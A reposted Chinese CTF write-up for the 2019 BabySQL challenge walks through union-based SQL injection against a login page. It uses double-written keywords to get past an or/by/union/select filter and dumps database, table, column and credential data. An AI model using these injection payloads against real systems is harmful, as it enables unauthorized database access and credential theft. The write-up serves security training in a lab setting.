当前位置: 首页 > article >正文

[极客大挑战 2019]BabySQL--详细解析

信息搜集

进入界面:
在这里插入图片描述
输入用户名为admin,密码随便输一个:
在这里插入图片描述发现是GET传参,有username和password两个传参点。
我们测试一下password点位能不能注入:
在这里插入图片描述
单引号闭合报错,根据报错信息,我们可以判断是单引号闭合。

SQL注入

先order by测试一下字段数:

check.php?username=admin&password=1' order by 3--+

在这里插入图片描述
报错。看报错信息,吞掉了order的or 和by,即过滤了or和by。
使用双写绕过:

check.php?username=admin&password=1' oorrder bbyy 3--+

测试出字段数为3.

顺便用万能密码试试能不能登录:
在这里插入图片描述
接下来按联合注入的流程走:
在这里插入图片描述union 和 select 被过滤。双写绕过:

check.php?username=admin&password=1' uniunionon selselectect 1,2,3--+

在这里插入图片描述找到相应回显位,这里我们利用回显位3:

check.php?username=admin&password=1' uniunionon selselectect 1,2,database()--+ 数据库名为geek

check.php?username=admin&password=1' uniunionon selselectect 1,2,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='geek')--+ 数据表b4bsql,geekuser

check.php?username=admin&password=1' uniunionon selselectect 1,2,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='b4bsql')--+ 列名id,username,password

(selselectect group_concat(username,":",passwoorrd) frfromom b4bsql)--+

在这里插入图片描述
得到flag.

总结

考察的是联合注入,但是增加了过滤。
使用双写绕过。


http://www.kler.cn/a/409563.html

相关文章:

  • webpack配置和打包性能优化
  • 输入三个整数x,y,z,请把这三个数由小到大输出。-多语言实现
  • shell编程之sed
  • Swift 实现查找链表入环点:快慢指针法
  • 使用 Nginx 在 Ubuntu 22.04 上安装 LibreNMS 开源网络监控系统
  • 数字化工厂 MES试点方案全解析(三)
  • 数据库-基础理论
  • git bash是什么,git是什么,git中的暂存区是什么,git中的本地仓库是什么,git中工作目录指的是什么
  • 长三角文博会:Adobe国际认证体系推动设计人才评价新标准
  • 【C语言】深入解析assert 断言机制
  • Spring Boot 2 和 Spring Boot 3 中使用 Spring Security 的区别
  • 微信小程序页面配置详解:从入门到精通
  • MATLAB实现garch模型(广义自回归条件异方差)
  • LayaBox1.8.4实现自定义3DMesh
  • PyOCD 的基本使用
  • 详解Qt QDir路径类
  • 跨平台应用开发框架(1)----Qt(组件篇)
  • C#里怎么样实现单向链表?
  • 《图像梯度与常见算子全解析:原理、用法及效果展示》
  • [OpenGL]使用OpenGL+OIT实现透明效果
  • CPU性能优化--性能分析方法
  • 网络层协议IP
  • 【计算机网络】多路转接之select
  • Next.js-样式处理
  • 数据结构 (9)顺序表与链表的综合比较
  • 深入理解二叉搜索树(BST)